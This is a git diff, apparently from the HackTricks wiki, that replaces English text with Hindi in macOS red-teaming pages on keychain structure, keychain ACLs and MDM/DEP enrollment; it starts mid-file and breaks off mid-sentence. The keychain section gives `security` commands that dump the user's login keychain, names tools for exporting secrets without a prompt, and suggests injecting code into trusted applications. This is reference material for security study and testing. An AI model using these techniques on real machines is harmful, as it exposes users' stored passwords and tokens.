prompt could help to move forward a red team exercise: +Keychain में संवेदनशील जानकारी हो सकती है जो बिना प्रॉम्प्ट उत्पन्न किए पहुँचने पर एक रेड टीम अभ्यास को आगे बढ़ाने में मदद कर सकती है: {{#ref}} macos-keychain.md {{#endref}} -## External Services +## बाहरी सेवाएँ -MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin. +MacOS रेड टीमिंग सामान्य Windows रेड टीमिंग से अलग है क्योंकि आमतौर पर **MacOS कई बाहरी प्लेटफार्मों के साथ सीधे एकीकृत होता है**। MacOS की एक सामान्य कॉन्फ़िगरेशन है कि **OneLogin समन्वयित क्रेडेंशियल्स का उपयोग करके कंप्यूटर तक पहुँच प्राप्त करना, और OneLogin के माध्यम से कई बाहरी सेवाओं (जैसे github, aws...) तक पहुँच प्राप्त करना**। -## Misc Red Team techniques +## विविध रेड टीम तकनीकें -### Safari +### सफारी -When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed: +जब सफारी में एक फ़ाइल डाउनलोड की जाती है, यदि यह एक "सुरक्षित" फ़ाइल है, तो यह **स्वतः खोली जाएगी**। तो उदाहरण के लिए, यदि आप **एक ज़िप डाउनलोड करते हैं**, तो यह स्वचालित रूप से अनज़िप हो जाएगी:
-## References +## संदर्भ - [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E) - [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) @@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati - [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) - [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index a6135959d..b0977d1eb 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -2,62 +2,61 @@ {{#include ../../banners/hacktricks-training.md}} -## Main Keychains +## मुख्य कीचेन -- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys. -- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords. - - It's possible to find other components like certificates in `/System/Library/Keychains/*` -- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`). - - Apps will be restricted in the keychain only to their private area based on their application identifier. +- **यूजर कीचेन** (`~/Library/Keychains/login.keychain-db`), जिसका उपयोग **यूजर-विशिष्ट क्रेडेंशियल्स** जैसे एप्लिकेशन पासवर्ड, इंटरनेट पासवर्ड, यूजर-जनित सर्टिफिकेट, नेटवर्क पासवर्ड, और यूजर-जनित सार्वजनिक/निजी कुंजियों को स्टोर करने के लिए किया जाता है। +- **सिस्टम कीचेन** (`/Library/Keychains/System.keychain`), जो **सिस्टम-व्यापी क्रेडेंशियल्स** जैसे WiFi पासवर्ड, सिस्टम रूट सर्टिफिकेट, सिस्टम निजी कुंजियाँ, और सिस्टम एप्लिकेशन पासवर्ड को स्टोर करता है। +- `/System/Library/Keychains/*` में सर्टिफिकेट जैसे अन्य घटक मिल सकते हैं। +- **iOS** में केवल एक **कीचेन** है जो `/private/var/Keychains/` में स्थित है। इस फ़ोल्डर में `TrustStore`, सर्टिफिकेट प्राधिकरण (`caissuercache`) और OSCP प्रविष्टियों (`ocspache`) के लिए डेटाबेस भी होते हैं। +- ऐप्स कीचेन में केवल उनके एप्लिकेशन पहचानकर्ता के आधार पर उनके निजी क्षेत्र में प्रतिबंधित होंगे। -### Password Keychain Access +### पासवर्ड कीचेन एक्सेस -These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption. +ये फ़ाइलें, जबकि इनमें अंतर्निहित सुरक्षा नहीं है और इन्हें **डाउनलोड** किया जा सकता है, एन्क्रिप्टेड हैं और इन्हें **डिक्रिप्ट** करने के लिए **यूजर का प्लेनटेक्स्ट पासवर्ड** आवश्यक है। डिक्रिप्शन के लिए [**Chainbreaker**](https://github.com/n0fate/chainbreaker) जैसे टूल का उपयोग किया जा सकता है। -## Keychain Entries Protections +## कीचेन प्रविष्टियों की सुरक्षा ### ACLs -Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including: +कीचेन में प्रत्येक प्रविष्टि **एक्सेस कंट्रोल सूचियों (ACLs)** द्वारा शासित होती है जो यह निर्धारित करती है कि कौन कीचेन प्रविष्टि पर विभिन्न क्रियाएँ कर सकता है, जिसमें शामिल हैं: -- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret. -- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password. -- **ACLAuhtorizationAny**: Allows the holder to perform any action. +- **ACLAuhtorizationExportClear**: धारक को रहस्य का स्पष्ट पाठ प्राप्त करने की अनुमति देता है। +- **ACLAuhtorizationExportWrapped**: धारक को दूसरे प्रदान किए गए पासवर्ड के साथ एन्क्रिप्टेड स्पष्ट पाठ प्राप्त करने की अनुमति देता है। +- **ACLAuhtorizationAny**: धारक को कोई भी क्रिया करने की अनुमति देता है। -The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be: +ACLs के साथ एक **विश्वसनीय एप्लिकेशन की सूची** होती है जो बिना प्रॉम्प्ट के ये क्रियाएँ कर सकती है। यह हो सकता है: -- **N`il`** (no authorization required, **everyone is trusted**) -- An **empty** list (**nobody** is trusted) -- **List** of specific **applications**. +- **N`il`** (कोई प्राधिकरण आवश्यक नहीं, **सभी विश्वसनीय हैं**) +- एक **खाली** सूची (**कोई भी** विश्वसनीय नहीं है) +- **विशिष्ट** **एप्लिकेशनों** की **सूची**। -Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.** +इसके अलावा, प्रविष्टि में कुंजी **`ACLAuthorizationPartitionID`** हो सकती है, जिसका उपयोग **teamid, apple,** और **cdhash** की पहचान के लिए किया जाता है। -- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**. -- If the **apple** is specified, then the app needs to be **signed** by **Apple**. -- If the **cdhash** is indicated, then **app** must have the specific **cdhash**. +- यदि **teamid** निर्दिष्ट है, तो **प्रविष्टि** के मान को **बिना** **प्रॉम्प्ट** के **एक्सेस** करने के लिए उपयोग की जाने वाली एप्लिकेशन को **समान teamid** होना चाहिए। +- यदि **apple** निर्दिष्ट है, तो ऐप को **Apple** द्वारा **साइन** किया जाना चाहिए। +- यदि **cdhash** निर्दिष्ट है, तो **ऐप** को विशेष **cdhash** होना चाहिए। -### Creating a Keychain Entry +### कीचेन प्रविष्टि बनाना -When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply: +जब **`Keychain Access.app`** का उपयोग करके एक **नया** **प्रविष्टि** बनाई जाती है, तो निम्नलिखित नियम लागू होते हैं: -- All apps can encrypt. -- **No apps** can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change ACLs. -- The **partitionID** is set to **`apple`**. +- सभी ऐप्स एन्क्रिप्ट कर सकते हैं। +- **कोई ऐप्स** निर्यात/डिक्रिप्ट नहीं कर सकते (यूजर को प्रॉम्प्ट किए बिना)। +- सभी ऐप्स इंटीग्रिटी चेक देख सकते हैं। +- कोई ऐप्स ACLs को बदल नहीं सकते। +- **partitionID** को **`apple`** पर सेट किया जाता है। -When an **application creates an entry in the keychain**, the rules are slightly different: +जब एक **एप्लिकेशन कीचेन में एक प्रविष्टि बनाता है**, तो नियम थोड़े अलग होते हैं: -- All apps can encrypt. -- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change the ACLs. -- The **partitionID** is set to **`teamid:[teamID here]`**. +- सभी ऐप्स एन्क्रिप्ट कर सकते हैं। +- केवल **बनाने वाला एप्लिकेशन** (या कोई अन्य ऐप्स जो स्पष्ट रूप से जोड़े गए हैं) निर्यात/डिक्रिप्ट कर सकते हैं (यूजर को प्रॉम्प्ट किए बिना)। +- सभी ऐप्स इंटीग्रिटी चेक देख सकते हैं। +- कोई ऐप्स ACLs को नहीं बदल सकते। +- **partitionID** को **`teamid:[teamID here]`** पर सेट किया जाता है। -## Accessing the Keychain +## कीचेन तक पहुँच ### `security` - ```bash # List keychains security list-keychains @@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - # Dump specifically the user keychain security dump-keychain ~/Library/Keychains/login.keychain-db ``` - ### APIs > [!TIP] -> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith) +> **कीचेन एन्यूमरेशन और सीक्रेट्स का डंपिंग** जो **प्रॉम्प्ट नहीं जनरेट करेगा** उसे [**LockSmith**](https://github.com/its-a-feature/LockSmith) टूल से किया जा सकता है। > -> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code. +> अन्य API एंडपॉइंट्स [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) सोर्स कोड में पाए जा सकते हैं। -List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples: +**Security Framework** का उपयोग करके प्रत्येक कीचेन एंट्री की **जानकारी** सूचीबद्ध करें और प्राप्त करें या आप एप्पल के ओपन सोर्स CLI टूल [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)** को भी चेक कर सकते हैं।** कुछ API उदाहरण: -- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it: - - **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups) - - **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up) - - **`kSecReturnAttributes`**: Get metadata about entries - - **`kSecMatchLimit`**: How many results to return - - **`kSecClass`**: What kind of keychain entry +- API **`SecItemCopyMatching`** प्रत्येक एंट्री के बारे में जानकारी देता है और जब आप इसका उपयोग करते हैं तो कुछ विशेषताएँ सेट कर सकते हैं: +- **`kSecReturnData`**: यदि सत्य है, तो यह डेटा को डिक्रिप्ट करने की कोशिश करेगा (संभावित पॉप-अप से बचने के लिए इसे झूठा सेट करें) +- **`kSecReturnRef`**: कीचेन आइटम का संदर्भ भी प्राप्त करें (यदि बाद में आप देखते हैं कि आप बिना पॉप-अप के डिक्रिप्ट कर सकते हैं तो इसे सत्य सेट करें) +- **`kSecReturnAttributes`**: एंट्रीज़ के बारे में मेटाडेटा प्राप्त करें +- **`kSecMatchLimit`**: कितने परिणाम लौटाने हैं +- **`kSecClass`**: किस प्रकार की कीचेन एंट्री -Get **ACLs** of each entry: +प्रत्येक एंट्री के **ACLs** प्राप्त करें: -- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has: - - Description - - **Trusted Application List**. This could be: - - An app: /Applications/Slack.app - - A binary: /usr/libexec/airportd - - A group: group://AirPort +- API **`SecAccessCopyACLList`** के साथ आप **कीचेन आइटम के लिए ACL** प्राप्त कर सकते हैं, और यह ACLs की एक सूची लौटाएगा (जैसे `ACLAuhtorizationExportClear` और अन्य पहले उल्लेखित) जहाँ प्रत्येक सूची में: +- विवरण +- **विश्वसनीय एप्लिकेशन सूची**। यह हो सकता है: +- एक ऐप: /Applications/Slack.app +- एक बाइनरी: /usr/libexec/airportd +- एक समूह: group://AirPort -Export the data: +डेटा निर्यात करें: -- The API **`SecKeychainItemCopyContent`** gets the plaintext -- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted +- API **`SecKeychainItemCopyContent`** प्लेनटेक्स्ट प्राप्त करता है +- API **`SecItemExport`** कुंजियों और प्रमाणपत्रों को निर्यात करता है लेकिन सामग्री को एन्क्रिप्टेड निर्यात करने के लिए पासवर्ड सेट करना पड़ सकता है -And these are the **requirements** to be able to **export a secret without a prompt**: +और ये हैं **बिना प्रॉम्प्ट के एक सीक्रेट निर्यात करने की आवश्यकताएँ**: -- If **1+ trusted** apps listed: - - Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info) - - Need code signature to match **PartitionID** - - Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup) -- If **all applications trusted**: - - Need the appropriate **authorizations** - - Need code signature to match **PartitionID** - - If **no PartitionID**, then this isn't needed +- यदि **1+ विश्वसनीय** ऐप्स सूचीबद्ध हैं: +- उचित **अधिकार** की आवश्यकता है (**`Nil`**, या सीक्रेट जानकारी तक पहुँचने के लिए अनुमति प्राप्त ऐप्स की सूची का **भाग** होना) +- कोड सिग्नेचर **PartitionID** से मेल खाना चाहिए +- कोड सिग्नेचर एक **विश्वसनीय ऐप** से मेल खाना चाहिए (या सही KeychainAccessGroup का सदस्य होना चाहिए) +- यदि **सभी एप्लिकेशन विश्वसनीय** हैं: +- उचित **अधिकार** की आवश्यकता है +- कोड सिग्नेचर **PartitionID** से मेल खाना चाहिए +- यदि **कोई PartitionID नहीं है**, तो यह आवश्यक नहीं है > [!CAUTION] -> Therefore, if there is **1 application listed**, you need to **inject code in that application**. +> इसलिए, यदि **1 एप्लिकेशन सूचीबद्ध है**, तो आपको **उस एप्लिकेशन में कोड इंजेक्ट** करने की आवश्यकता है। > -> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this. +> यदि **apple** **partitionID** में इंगित है, तो आप इसे **`osascript`** के साथ एक्सेस कर सकते हैं इसलिए कुछ भी जो सभी एप्लिकेशनों को partitionID में apple के साथ भरोसा कर रहा है। इसके लिए **`Python`** का भी उपयोग किया जा सकता है। ### Two additional attributes -- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app -- **General**: It's to store **metadata** (so it's NOT ENCRYPTED) - - Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint. +- **Invisible**: यह **UI** कीचेन ऐप से एंट्री को **छिपाने** के लिए एक बूलियन फ्लैग है +- **General**: यह **मेटाडेटा** को स्टोर करने के लिए है (इसलिए यह एन्क्रिप्टेड नहीं है) +- Microsoft सभी रिफ्रेश टोकन को संवेदनशील एंडपॉइंट तक पहुँचने के लिए प्लेन टेक्स्ट में स्टोर कर रहा था। ## References diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 1a4f69c6e..0e3b65b6a 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,199 +2,199 @@ {{#include ../../../banners/hacktricks-training.md}} -**To learn about macOS MDMs check:** +**macOS MDM के बारे में जानने के लिए देखें:** - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) -## Basics +## मूल बातें -### **MDM (Mobile Device Management) Overview** +### **MDM (मोबाइल डिवाइस प्रबंधन) अवलोकन** -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include: +[मोबाइल डिवाइस प्रबंधन](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) का उपयोग विभिन्न अंतिम उपयोगकर्ता उपकरणों जैसे स्मार्टफोन, लैपटॉप और टैबलेट की निगरानी के लिए किया जाता है। विशेष रूप से Apple के प्लेटफार्मों (iOS, macOS, tvOS) के लिए, इसमें विशेष सुविधाओं, APIs और प्रथाओं का एक सेट शामिल है। MDM का संचालन एक संगत MDM सर्वर पर निर्भर करता है, जो या तो व्यावसायिक रूप से उपलब्ध है या ओपन-सोर्स है, और इसे [MDM प्रोटोकॉल](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) का समर्थन करना चाहिए। मुख्य बिंदुओं में शामिल हैं: -- Centralized control over devices. -- Dependence on an MDM server that adheres to the MDM protocol. -- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation. +- उपकरणों पर केंद्रीकृत नियंत्रण। +- MDM प्रोटोकॉल का पालन करने वाले MDM सर्वर पर निर्भरता। +- MDM सर्वर की क्षमता विभिन्न आदेशों को उपकरणों पर भेजने की, जैसे कि दूरस्थ डेटा मिटाना या कॉन्फ़िगरेशन स्थापित करना। -### **Basics of DEP (Device Enrollment Program)** +### **DEP (डिवाइस नामांकन कार्यक्रम) की मूल बातें** -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include: +Apple द्वारा प्रदान किया गया [डिवाइस नामांकन कार्यक्रम](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) मोबाइल डिवाइस प्रबंधन (MDM) के एकीकरण को सरल बनाता है, जिससे iOS, macOS और tvOS उपकरणों के लिए जीरो-टच कॉन्फ़िगरेशन की सुविधा मिलती है। DEP नामांकन प्रक्रिया को स्वचालित करता है, जिससे उपकरण बॉक्स से बाहर निकलते ही कार्यात्मक हो जाते हैं, जिसमें न्यूनतम उपयोगकर्ता या प्रशासनिक हस्तक्षेप होता है। आवश्यक पहलुओं में शामिल हैं: -- Enables devices to autonomously register with a pre-defined MDM server upon initial activation. -- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration. -- Facilitates a straightforward setup, making devices ready for organizational use swiftly. +- उपकरणों को प्रारंभिक सक्रियण पर पूर्व-निर्धारित MDM सर्वर के साथ स्वायत्त रूप से पंजीकरण करने की अनुमति देता है। +- मुख्य रूप से नए उपकरणों के लिए फायदेमंद, लेकिन पुनः कॉन्फ़िगरेशन कर रहे उपकरणों के लिए भी लागू होता है। +- एक सरल सेटअप की सुविधा देता है, जिससे उपकरणों को जल्दी से संगठनात्मक उपयोग के लिए तैयार किया जा सके। -### **Security Consideration** +### **सुरक्षा विचार** -It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device. +यह ध्यान रखना महत्वपूर्ण है कि DEP द्वारा प्रदान की गई नामांकन की आसानी, जबकि फायदेमंद है, सुरक्षा जोखिम भी पैदा कर सकती है। यदि MDM नामांकन के लिए सुरक्षा उपायों को उचित रूप से लागू नहीं किया गया है, तो हमलावर इस सरल प्रक्रिया का लाभ उठाकर अपने उपकरण को संगठन के MDM सर्वर पर पंजीकृत कर सकते हैं, जो एक कॉर्पोरेट उपकरण के रूप में प्रच्छन्न हो सकता है। > [!CAUTION] -> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place. +> **सुरक्षा चेतावनी**: सरल DEP नामांकन उचित सुरक्षा उपायों के बिना संगठन के MDM सर्वर पर अनधिकृत उपकरण पंजीकरण की अनुमति दे सकता है। -### Basics What is SCEP (Simple Certificate Enrolment Protocol)? +### मूल बातें SCEP (सादा प्रमाणपत्र नामांकन प्रोटोकॉल) क्या है? -- A relatively old protocol, created before TLS and HTTPS were widespread. -- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. +- एक अपेक्षाकृत पुराना प्रोटोकॉल, जो TLS और HTTPS के व्यापक होने से पहले बनाया गया था। +- ग्राहकों को एक मानकीकृत तरीके से **प्रमाणपत्र हस्ताक्षर अनुरोध** (CSR) भेजने की अनुमति देता है ताकि उन्हें एक प्रमाणपत्र दिया जा सके। ग्राहक सर्वर से एक हस्ताक्षरित प्रमाणपत्र देने के लिए कहेगा। -### What are Configuration Profiles (aka mobileconfigs)? +### कॉन्फ़िगरेशन प्रोफाइल (जिसे मोबाइलकॉन्फ़िग्स भी कहा जाता है) क्या हैं? -- Apple’s official way of **setting/enforcing system configuration.** -- File format that can contain multiple payloads. -- Based on property lists (the XML kind). -- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. +- Apple का आधिकारिक तरीका **सिस्टम कॉन्फ़िगरेशन सेट करने/लागू करने का।** +- फ़ाइल प्रारूप जिसमें कई पेलोड हो सकते हैं। +- प्रॉपर्टी सूचियों (XML प्रकार) पर आधारित। +- “इनकी उत्पत्ति को मान्य करने, उनकी अखंडता सुनिश्चित करने और उनके सामग्री की सुरक्षा के लिए हस्ताक्षरित और एन्क्रिप्ट किया जा सकता है।” मूल बातें — पृष्ठ 70, iOS सुरक्षा गाइड, जनवरी 2018। -## Protocols +## प्रोटोकॉल ### MDM -- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) -- **Communication** occurs between a **device** and a server associated with a **device** **management** **product** -- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries** -- All over **HTTPS**. MDM servers can be (and are usually) pinned. -- Apple grants the MDM vendor an **APNs certificate** for authentication +- APNs (**Apple सर्वर**s) + RESTful API (**MDM** **विक्रेता** सर्वर) का संयोजन +- **संचार** एक **उपकरण** और एक **उपकरण** **प्रबंधन** **उत्पाद** से संबंधित सर्वर के बीच होता है +- **आदेश** MDM से उपकरण पर **plist-encoded dictionaries** में भेजे जाते हैं +- सभी **HTTPS** पर। MDM सर्वर को पिन किया जा सकता है (और आमतौर पर किया जाता है)। +- Apple MDM विक्रेता को प्रमाणीकरण के लिए एक **APNs प्रमाणपत्र** प्रदान करता है ### DEP -- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): - - The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. - - The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status. - - The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API. -- More modern and **JSON** based (vs. plist) -- Apple grants an **OAuth token** to the MDM vendor +- **3 APIs**: 1 पुनर्विक्रेताओं के लिए, 1 MDM विक्रेताओं के लिए, 1 उपकरण पहचान के लिए (अविवृत): +- तथाकथित [DEP "क्लाउड सेवा" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)। इसका उपयोग MDM सर्वरों द्वारा DEP प्रोफाइल को विशिष्ट उपकरणों के साथ जोड़ने के लिए किया जाता है। +- [DEP API जिसका उपयोग Apple अधिकृत पुनर्विक्रेताओं द्वारा किया जाता है](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) उपकरणों को नामांकित करने, नामांकन स्थिति की जांच करने और लेनदेन की स्थिति की जांच करने के लिए। +- अविवृत निजी DEP API। इसका उपयोग Apple उपकरणों द्वारा उनके DEP प्रोफाइल का अनुरोध करने के लिए किया जाता है। macOS पर, `cloudconfigurationd` बाइनरी इस API के माध्यम से संचार के लिए जिम्मेदार है। +- अधिक आधुनिक और **JSON** आधारित (विपरीत plist) +- Apple MDM विक्रेता को एक **OAuth टोकन** प्रदान करता है -**DEP "cloud service" API** +**DEP "क्लाउड सेवा" API** - RESTful -- sync device records from Apple to the MDM server -- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on) -- A DEP “profile” contains: - - MDM vendor server URL - - Additional trusted certificates for server URL (optional pinning) - - Extra settings (e.g. which screens to skip in Setup Assistant) +- Apple से MDM सर्वर पर उपकरण रिकॉर्ड को समन्वयित करें +- MDM सर्वर से Apple के लिए “DEP प्रोफाइल” को समन्वयित करें (बाद में उपकरण को Apple द्वारा वितरित किया गया) +- एक DEP “प्रोफाइल” में शामिल है: +- MDM विक्रेता सर्वर URL +- सर्वर URL के लिए अतिरिक्त विश्वसनीय प्रमाणपत्र (वैकल्पिक पिनिंग) +- अतिरिक्त सेटिंग्स (जैसे, सेटअप सहायक में कौन से स्क्रीन छोड़ने हैं) -## Serial Number +## सीरियल नंबर -Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. +2010 के बाद निर्मित Apple उपकरणों में आमतौर पर **12-चर अल्फ़ान्यूमेरिक** सीरियल नंबर होते हैं, जिसमें **पहले तीन अंक निर्माण स्थान** का प्रतिनिधित्व करते हैं, अगले **दो** निर्माण के **वर्ष** और **सप्ताह** को इंगित करते हैं, अगले **तीन** अंक एक **विशिष्ट** **पहचानकर्ता** प्रदान करते हैं, और **अंतिम** **चार** अंक **मॉडल नंबर** का प्रतिनिधित्व करते हैं। {{#ref}} macos-serial-number.md {{#endref}} -## Steps for enrolment and management +## नामांकन और प्रबंधन के लिए कदम -1. Device record creation (Reseller, Apple): The record for the new device is created -2. Device record assignment (Customer): The device is assigned to a MDM server -3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple -4. DEP check-in (Device): Device gets his DEP profile -5. Profile retrieval (Device) -6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads -7. MDM command issuance (Device) +1. उपकरण रिकॉर्ड निर्माण (पुनर्विक्रेता, Apple): नए उपकरण का रिकॉर्ड बनाया जाता है +2. उपकरण रिकॉर्ड असाइनमेंट (ग्राहक): उपकरण को एक MDM सर्वर को सौंपा जाता है +3. उपकरण रिकॉर्ड समन्वय (MDM विक्रेता): MDM उपकरण रिकॉर्ड को समन्वयित करता है और DEP प्रोफाइल को Apple पर धकेलता है +4. DEP चेक-इन (उपकरण): उपकरण को उसका DEP प्रोफाइल मिलता है +5. प्रोफाइल पुनर्प्राप्ति (उपकरण) +6. प्रोफाइल स्थापना (उपकरण) a. MDM, SCEP और रूट CA पेलोड सहित +7. MDM आदेश जारी करना (उपकरण) ![](<../../../images/image (694).png>) -The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. +फ़ाइल `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` उन कार्यों को निर्यात करती है जिन्हें **नामांकन प्रक्रिया के "उच्च-स्तरीय कदम"** के रूप में माना जा सकता है। -### Step 4: DEP check-in - Getting the Activation Record +### चरण 4: DEP चेक-इन - सक्रियण रिकॉर्ड प्राप्त करना -This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) +यह प्रक्रिया तब होती है जब एक **उपयोगकर्ता पहली बार Mac बूट करता है** (या एक पूर्ण मिटाने के बाद) ![](<../../../images/image (1044).png>) -or when executing `sudo profiles show -type enrollment` +या जब `sudo profiles show -type enrollment` निष्पादित किया जाता है -- Determine **whether device is DEP enabled** -- Activation Record is the internal name for **DEP “profile”** -- Begins as soon as the device is connected to Internet -- Driven by **`CPFetchActivationRecord`** -- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. - - LaunchDaemon (always runs as root) +- **यह निर्धारित करें कि उपकरण DEP सक्षम है या नहीं** +- सक्रियण रिकॉर्ड **DEP “प्रोफाइल”** का आंतरिक नाम है +- जैसे ही उपकरण इंटरनेट से जुड़ता है, यह शुरू होता है +- **`CPFetchActivationRecord`** द्वारा संचालित +- **`cloudconfigurationd`** द्वारा XPC के माध्यम से लागू किया गया। **"सेटअप सहायक"** (जब उपकरण पहली बार बूट होता है) या **`profiles`** कमांड इस डेमन से सक्रियण रिकॉर्ड प्राप्त करने के लिए **संपर्क करेगा**। +- LaunchDaemon (हमेशा रूट के रूप में चलता है) -It follows a few steps to get the Activation Record performed by 